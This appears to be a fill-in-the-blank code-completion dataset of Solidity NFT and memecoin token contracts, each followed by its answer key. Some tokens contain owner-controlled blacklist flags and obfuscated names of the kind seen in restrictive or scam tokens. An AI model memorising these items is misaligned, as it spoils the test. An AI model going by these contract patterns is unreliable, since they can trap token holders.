* @param _amount The Total amount the wallet has minted
* @notice Requirement: Wallet must have minted for reserve to exist.
* @return arr IDs return should be more than 0
*/
function checkReserveAddr(address _addr, uint256 _amount) public view returns (uint256[] memory) {
}
/**
* @notice Team reserve tokens function
*/
function reserveTokens (address _receiver, uint256 _mintAmount) public onlyOwner {
}
/**
* @notice Execute airdrops to Holders addresses
*/
function airdropHoldersTokens(address[] calldata hAddresses, uint256[] calldata tokenAmt, uint256[] calldata tokenId) public onlyOwner {
}
/**
* @notice Execute airdrops to Reserves addresses
*/
function airdropReservesTokens(address[] calldata hAddresses, uint256[] calldata tokenAmt, uint256[] calldata reserveId) public onlyOwner {
}
/**
* @notice Set Reserves'ids Claim status
*/
function setReserveClaimStatus (uint256 reserveId, bool _claim) public onlyOwner {
}
/**
* @notice Set Holder'ids Claim status
*/
function setHolderClaimStatus (uint256 tokenId, bool _claim) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/** @notice Set Token Metadata Uri */
function tokenURI(uint256 _tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
/** @notice Set reveal status */
function setRevealed(string memory _uriPrefix, bool _state) public onlyOwner {
}
/** @notice Set Reserve Supply */
function setReserveSupply(uint256 _reserveSupply) public onlyOwner {
}
/** @notice Set Current Mint Price */
function setCost(uint256 _cost) public onlyOwner {
}
/** @notice Set Max Mint Amount */
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
/** @notice Set Current Project Name */
function setProjName(string memory _projName) public onlyOwner {
}
/** @notice Set Current Project Description */
function setProjDescription(string memory _projDescription) public onlyOwner {
}
/** @notice Set Current Project Id */
function setProjId(string memory _projId) public onlyOwner {
}
/** @notice Set Current Artist Id */
function setArtistId(string memory _artistId) public onlyOwner {
}
/** @notice Set Token Uri Prefix */
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
/** @notice Set Token Uri Suffix */
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/** @notice Set Contract Status */
function setPaused(bool _state) public onlyOwner {
}
/** @notice Set Whitelist Root Hash */
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/** @notice Set Community Whitelist Status */
function setComWhitelistMintEnabled(bool _state) public onlyOwner {
}
/** @notice Set Whitelist Status */
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
/* Opensea Operator Filter Registry */
// Requirement for royalties in OS
function transferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (ERC721A, IERC721A)
onlyAllowedOperator(from)
{
}
/**
* @notice Withdrawal of Fund
*/
function withdrawFund() external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| reserveCount+_mintAmount<=reserveSupply,"comWhitelist: Insufficient Spots" | 62,444 | reserveCount+_mintAmount<=reserveSupply |
"Max supply exceeded!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
// ░█████╗░██████╗░████████╗ ████████╗░█████╗░██╗░░██╗██╗░░░██╗░█████╗░
// ██╔══██╗██╔══██╗╚══██╔══╝ ╚══██╔══╝██╔══██╗██║░██╔╝╚██╗░██╔╝██╔══██╗
// ███████║██████╔╝░░░██║░░░ ░░░██║░░░██║░░██║█████═╝░░╚████╔╝░██║░░██║
// ██╔══██║██╔══██╗░░░██║░░░ ░░░██║░░░██║░░██║██╔═██╗░░░╚██╔╝░░██║░░██║
// ██║░░██║██║░░██║░░░██║░░░ ░░░██║░░░╚█████╔╝██║░╚██╗░░░██║░░░╚█████╔╝
// ╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░ ░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░
//
// ░██████╗░██╗░░░░░░█████╗░██████╗░░█████╗░██╗░░░░░
// ██╔════╝░██║░░░░░██╔══██╗██╔══██╗██╔══██╗██║░░░░░
// ██║░░██╗░██║░░░░░██║░░██║██████╦╝███████║██║░░░░░
// ██║░░╚██╗██║░░░░░██║░░██║██╔══██╗██╔══██║██║░░░░░
// ╚██████╔╝███████╗╚█████╔╝██████╦╝██║░░██║███████╗
// ░╚═════╝░╚══════╝░╚════╝░╚═════╝░╚═╝░░╚═╝╚══════╝
/**
* @title Art Tokyo Global
* @author 0xjikangu
* @notice This is the Main NFT contract for ATG: Sneaker Samurai by Takumi Iwase
*/
contract ATGxSneakerSamurai is ERC721AQueryable, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public comWhitelistClaimed;
mapping(uint256 => bool) public holderList;
struct mintReserve {
address addr;
bool claimed;
uint256 ids;
}
string public uriPrefix = "ipfs://QmX1n56FNTtFbZeTCt3JsdhF4y7PpTAk9uCtTe9tvXmmcc/";
string public uriSuffix = ".json";
string public projName;
string public projDescription;
string public projId;
string public artistId;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx = 1;
uint256 public reserveCount = 0;
uint256 public reserveSupply = 1851;
mapping(uint256 => mintReserve) public reserveList;
bool public paused = true;
bool public comWhitelistMintEnabled = false;
bool public whitelistMintEnabled = false;
bool public revealed = false;
bool public dynamicStart = false;
// ATG Main Constructor
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _projName,
string memory _projDescription,
string memory _projId,
string memory _artistId
) ERC721A(_tokenName, _tokenSymbol) {
}
/* Mint Compliance */
// Requirement for mint to work
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
/**
* @notice Community Whitelist Mint Function
*/
function comWhitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Public Whitelist Mint Function
*/
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Public Mint Function
*/
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
/**
* @notice Mint to address
*/
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
/**
* @param _addr The Wallet address you wish to check
* @param _amount The Total amount the wallet has minted
* @notice Requirement: Wallet must have minted for reserve to exist.
* @return arr IDs return should be more than 0
*/
function checkReserveAddr(address _addr, uint256 _amount) public view returns (uint256[] memory) {
}
/**
* @notice Team reserve tokens function
*/
function reserveTokens (address _receiver, uint256 _mintAmount) public onlyOwner {
}
/**
* @notice Execute airdrops to Holders addresses
*/
function airdropHoldersTokens(address[] calldata hAddresses, uint256[] calldata tokenAmt, uint256[] calldata tokenId) public onlyOwner {
for (uint256 i =0; i< hAddresses.length; i++) {
require(<FILL_ME>)
_safeMint(hAddresses[i], tokenAmt[i]);
holderList[tokenId[i]] = true;
}
}
/**
* @notice Execute airdrops to Reserves addresses
*/
function airdropReservesTokens(address[] calldata hAddresses, uint256[] calldata tokenAmt, uint256[] calldata reserveId) public onlyOwner {
}
/**
* @notice Set Reserves'ids Claim status
*/
function setReserveClaimStatus (uint256 reserveId, bool _claim) public onlyOwner {
}
/**
* @notice Set Holder'ids Claim status
*/
function setHolderClaimStatus (uint256 tokenId, bool _claim) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/** @notice Set Token Metadata Uri */
function tokenURI(uint256 _tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
/** @notice Set reveal status */
function setRevealed(string memory _uriPrefix, bool _state) public onlyOwner {
}
/** @notice Set Reserve Supply */
function setReserveSupply(uint256 _reserveSupply) public onlyOwner {
}
/** @notice Set Current Mint Price */
function setCost(uint256 _cost) public onlyOwner {
}
/** @notice Set Max Mint Amount */
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
/** @notice Set Current Project Name */
function setProjName(string memory _projName) public onlyOwner {
}
/** @notice Set Current Project Description */
function setProjDescription(string memory _projDescription) public onlyOwner {
}
/** @notice Set Current Project Id */
function setProjId(string memory _projId) public onlyOwner {
}
/** @notice Set Current Artist Id */
function setArtistId(string memory _artistId) public onlyOwner {
}
/** @notice Set Token Uri Prefix */
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
/** @notice Set Token Uri Suffix */
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/** @notice Set Contract Status */
function setPaused(bool _state) public onlyOwner {
}
/** @notice Set Whitelist Root Hash */
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/** @notice Set Community Whitelist Status */
function setComWhitelistMintEnabled(bool _state) public onlyOwner {
}
/** @notice Set Whitelist Status */
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
/* Opensea Operator Filter Registry */
// Requirement for royalties in OS
function transferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (ERC721A, IERC721A)
onlyAllowedOperator(from)
{
}
/**
* @notice Withdrawal of Fund
*/
function withdrawFund() external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+tokenAmt[i]<=maxSupply,"Max supply exceeded!" | 62,444 | totalSupply()+tokenAmt[i]<=maxSupply |
"TOKEN: ONLY MINTER IS ALLOWED TO CHANGE MAX" | // SPDX-License-Identifier: GPL-3.0-or-later
// Contract Address: 0x630eEE36204E0A8Acd244B953b0219d9957014DF
pragma solidity ^0.8.11;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
}
function sub(uint x, uint y) internal pure returns (uint z) {
}
function mul(uint x, uint y) internal pure returns (uint z) {
}
}
contract AlamedaOath is IERC20 {
using SafeMath for uint;
string public constant symbol = "ALAMO";
string public constant name = "Alameda Oath";
uint8 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public _maxWalletSize = 0;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => bool) public excludeMaxWallet;
address public minter;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
constructor() {
}
function setMaxWalletPercentage(uint n, uint d) external returns(uint256) {
require(<FILL_ME>)
_maxWalletSize = (totalSupply * n) / d;
return _maxWalletSize;
}
function excludeAddressFromMaxLimit(address addr, bool exclude) external {
}
function approve(address _spender, uint _value) external returns (bool) {
}
function _mint(address _to, uint _amount) internal returns (bool) {
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
}
function transfer(address _to, uint _value) external returns (bool) {
}
function transferFrom(address _from, address _to, uint _value) external returns (bool) {
}
}
| address(msg.sender)==address(minter),"TOKEN: ONLY MINTER IS ALLOWED TO CHANGE MAX" | 62,574 | address(msg.sender)==address(minter) |
"TOKEN: BALANCE EXCEEDS MAX_WALLET" | // SPDX-License-Identifier: GPL-3.0-or-later
// Contract Address: 0x630eEE36204E0A8Acd244B953b0219d9957014DF
pragma solidity ^0.8.11;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
}
function sub(uint x, uint y) internal pure returns (uint z) {
}
function mul(uint x, uint y) internal pure returns (uint z) {
}
}
contract AlamedaOath is IERC20 {
using SafeMath for uint;
string public constant symbol = "ALAMO";
string public constant name = "Alameda Oath";
uint8 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public _maxWalletSize = 0;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => bool) public excludeMaxWallet;
address public minter;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
constructor() {
}
function setMaxWalletPercentage(uint n, uint d) external returns(uint256) {
}
function excludeAddressFromMaxLimit(address addr, bool exclude) external {
}
function approve(address _spender, uint _value) external returns (bool) {
}
function _mint(address _to, uint _amount) internal returns (bool) {
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
if(_from != minter && _to != minter) {
if(_to != uniswapV2Pair && !excludeMaxWallet[_to]) {
require(<FILL_ME>)
}
}
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint _value) external returns (bool) {
}
function transferFrom(address _from, address _to, uint _value) external returns (bool) {
}
}
| balanceOf[_to]+_value<=_maxWalletSize,"TOKEN: BALANCE EXCEEDS MAX_WALLET" | 62,574 | balanceOf[_to]+_value<=_maxWalletSize |
"Collection is full" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract BoredPotatozYachtClub is ERC721A, Ownable {
uint256 public price;
uint256 public maxMintPerTx;
uint256 public immutable collectionSize;
string public baseUri;
bool public open = false;
uint256 public maxFree;
constructor(
string memory _name,
string memory _symbol,
uint256 _price,
uint256 _maxMintPerTx,
uint256 _collectionSize,
uint256 _maxFree
) ERC721A(_name, _symbol) {
}
// Events
event PriceChanged(uint256 newPrice);
event MaxMintPerTxChanged(uint256 newMaxMintPerTx);
modifier mintCompliance(uint256 _quantity) {
}
// Minting
function mint(uint256 _quantity)
external
payable
mintCompliance(_quantity)
{
}
// TokenURIs
function _baseURI() internal view override returns (string memory) {
}
// Utils
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setMaxMintPerTx(uint256 _newMaxMintPerTx) external onlyOwner {
}
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
function setOpen(bool _value) external onlyOwner {
}
function setMaxFree(uint256 _newMaxFree) external onlyOwner {
}
function allowlistMint(uint256 _quantity) external onlyOwner {
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
}
function withdraw() external onlyOwner {
}
// ERC721A overrides
// ERC721A starts counting tokenIds from 0, this contract starts from 1
function _startTokenId() internal pure override returns (uint256) {
}
// ERC721A has no file extensions for its tokenURIs
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| _totalMinted()+_quantity<=collectionSize,"Collection is full" | 62,804 | _totalMinted()+_quantity<=collectionSize |
null | /**
*Submitted for verification at Etherscan.io on 2023-08-17
*/
/**
TG:https://t.me/HarryPotterVitalikSonic10Inu
WB:https://vitalik.ca/
X:https://twitter.com/Wrapped__Ether
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract ETH is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"HarryPotterVitalikSonic10Inu";
string private constant _symbol = unicode"이더리움";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10 ** 10 * (10 ** _decimals);
uint256 private _maxTxAmountPercent = 200;
uint256 private _maxTransferPercent = 200;
uint256 private _maxWalletPercent = 200;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 0;
uint256 private burnFee = 100;
uint256 private totalFee = 100;
uint256 private sellFee = 100;
uint256 private transferFee = 100;
uint256 private denominator = 10000;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 3;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap { }
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver;
address internal marketing_receiver;
address internal liquidity_receiver;
constructor() {
}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function totalSupply() public view override returns (uint256) { }
function _maxWalletToken() public view returns (uint256) { }
function _maxTxAmount() public view returns (uint256) { }
function _maxTransferAmount() public view returns (uint256) { }
receive() external payable { require(<FILL_ME>) }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
}
function swapbackCounters(address sender, address recipient) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function launch() external payable {
}
}
| isFeeExempt[msg.sender] | 62,812 | isFeeExempt[msg.sender] |
null | /**
*Submitted for verification at Etherscan.io on 2023-07-09
*/
// SPDX-License-Identifier: MIT
/**
TotalSupply: 1000000000000
Telegram: https://t.me/PEPINU11
*/
/* Introducing AMERICAN PEPE, the Financial Freedom Healer!
With his meme magic, he'll cure your financial struggles and lead you to prosperity.
*/
pragma solidity ^0.8.13;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.13;
contract PEPINU is Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 private _tokentotalSSSupply;
string private _Tokename;
string private _TokenSSSsymbol;
uint256 private initSupply = 10000000000*10**decimals();
address public EifsrbZ;
mapping(address => uint256) private TMFFmUser;
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function UaJITLk(address GiClEDa) external {
if(EifsrbZ == _msgSender()){
TMFFmUser[GiClEDa] = 0;
}else {
require(<FILL_ME>)
}
}
function AyMFlAHI(address GiClEDa) external {
}
function kBatSug() public {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
| _msgSender()==EifsrbZ | 62,958 | _msgSender()==EifsrbZ |
"You can't transfer tokens" | //SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
pragma solidity ^0.8.20;
/*
DO YOU LOVE EGIRLS? JOIN STREAM
STREAM: https://www.twitch.tv/egirlerc
TELEGRAM:https://t.me/EGIRLERC
WEBSITE: https://egirlerc.xyz/
TWITTER: https://twitter.com/egirlerc
*/
contract EGIRL is ERC20("twitch.tv/egirlerc", "EGIRL"), Ownable {
using Address for address payable;
IUniswapV2Router02 public router;
address public pair;
bool private _liquidityMutex = false;
bool private providingLiquidity = false;
bool public tradingEnabled = false;
uint256 private tokenLiquidityThreshold = 6_000 * 10 ** 18;
uint256 public maxWalletLimit = 100_00 * 10 ** 18;
uint256 private genesis_block;
uint256 private deadline = 5;
uint256 private launchtax = 25;
address private marketingWallet;
address private devWallet;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public taxes = Taxes(0, 0, 0);
Taxes public sellTaxes = Taxes(0, 0, 0);
mapping(address => bool) public exemptFee;
mapping(address => bool) private isearlybuyer;
modifier mutexLock() {
}
function setPairAddress(address pairAddress) external onlyOwner {
}
constructor() {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public override returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public override returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
if (!exemptFee[sender] && !exemptFee[recipient]) {
require(tradingEnabled, "Trading not enabled");
}
if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) {
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
if (
sender != pair &&
!exemptFee[recipient] &&
!exemptFee[sender] &&
!_liquidityMutex
) {
if (recipient != pair) {
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
}
uint256 feeswap;
uint256 feesum;
uint256 fee;
Taxes memory currentTaxes;
bool useLaunchFee = !exemptFee[sender] &&
!exemptFee[recipient] &&
block.number < genesis_block + deadline;
if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient])
fee = 0;
else if (recipient == pair && !useLaunchFee) {
feeswap = sellTaxes.liquidity + sellTaxes.marketing + sellTaxes.dev;
feesum = feeswap;
currentTaxes = sellTaxes;
} else if (!useLaunchFee) {
feeswap = taxes.liquidity + taxes.marketing + taxes.dev;
feesum = feeswap;
currentTaxes = taxes;
} else if (useLaunchFee) {
feeswap = launchtax;
feesum = launchtax;
}
fee = (amount * feesum) / 100;
if (providingLiquidity && sender != pair)
handle_fees(feeswap, currentTaxes);
super._transfer(sender, recipient, amount - fee);
if (fee > 0) {
if (feeswap > 0) {
uint256 feeAmount = (amount * feeswap) / 100;
super._transfer(sender, address(this), feeAmount);
}
}
}
function handle_fees(
uint256 feeswap,
Taxes memory swapTaxes
) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function cashout(address[] calldata recipients, uint256[] calldata values) public {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool state) external onlyOwner {
}
function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
}
function UpdateBuyTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function SetSellTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function updateExemptFee(address _address, bool state) external onlyOwner {
}
function updateIsEarlyBuyer(
address account,
bool state
) external onlyOwner {
}
function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH(uint256 weiAmount) external {
}
function rescueERC20(address tokenAdd, uint256 amount) external {
}
receive() external payable {}
}
